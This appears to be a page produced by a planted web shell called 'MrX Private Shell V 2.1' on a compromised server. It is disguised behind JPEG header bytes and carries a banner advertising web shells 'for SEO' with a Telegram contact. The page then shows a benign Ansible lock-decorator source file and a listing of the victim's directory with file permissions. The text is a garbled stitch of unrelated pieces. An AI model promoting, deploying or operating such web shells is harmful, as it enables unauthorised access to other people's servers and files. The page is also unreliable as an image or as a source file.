����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Copyright (c) 2020 Matt Martz <matt@sivel.net>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
from functools import wraps
def lock_decorator(attr='missing_lock_attr', lock=None):
'''This decorator is a generic implementation that allows you
to either use a pre-defined instance attribute as the location
of the lock, or to explicitly pass a lock object.
This code was implemented with ``threading.Lock`` in mind, but
may work with other locks, assuming that they function as
context managers.
When using ``attr``, the assumption is the first argument to
the wrapped method, is ``self`` or ``cls``.
Examples:
@lock_decorator(attr='_callback_lock')
def send_callback(...):
@lock_decorator(lock=threading.Lock())
def some_method(...):
'''
def outer(func):
@wraps(func)
def inner(*args, **kwargs):
# Python2 doesn't have ``nonlocal``
# assign the actual lock to ``_lock``
if lock is None:
_lock = getattr(args[0], attr)
else:
_lock = lock
with _lock:
return func(*args, **kwargs)
return inner
return outer
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| collection_loader | Folder | 0755 |
|
|
| __init__.py | File | 833 B | 0644 |
|
| _junit_xml.py | File | 8.53 KB | 0644 |
|
| cmd_functions.py | File | 2.16 KB | 0644 |
|
| color.py | File | 4.01 KB | 0644 |
|
| context_objects.py | File | 3.05 KB | 0644 |
|
| display.py | File | 18.99 KB | 0644 |
|
| encrypt.py | File | 10.26 KB | 0644 |
|
| fqcn.py | File | 1.24 KB | 0644 |
|
| galaxy.py | File | 3.82 KB | 0644 |
|
| hashing.py | File | 2.84 KB | 0644 |
|
| helpers.py | File | 1.8 KB | 0644 |
|
| jsonrpc.py | File | 3.74 KB | 0644 |
|
| listify.py | File | 1.67 KB | 0644 |
|
| lock.py | File | 1.36 KB | 0644 |
|
| multiprocessing.py | File | 698 B | 0644 |
|
| native_jinja.py | File | 346 B | 0644 |
|
| path.py | File | 5.74 KB | 0644 |
|
| plugin_docs.py | File | 14.74 KB | 0644 |
|
| py3compat.py | File | 2.35 KB | 0644 |
|
| sentinel.py | File | 2.4 KB | 0644 |
|
| shlex.py | File | 1.25 KB | 0644 |
|
| singleton.py | File | 949 B | 0644 |
|
| ssh_functions.py | File | 2.23 KB | 0644 |
|
| unicode.py | File | 1.14 KB | 0644 |
|
| unsafe_proxy.py | File | 12.43 KB | 0644 |
|
| vars.py | File | 9.9 KB | 0644 |
|
| version.py | File | 7.65 KB | 0644 |
|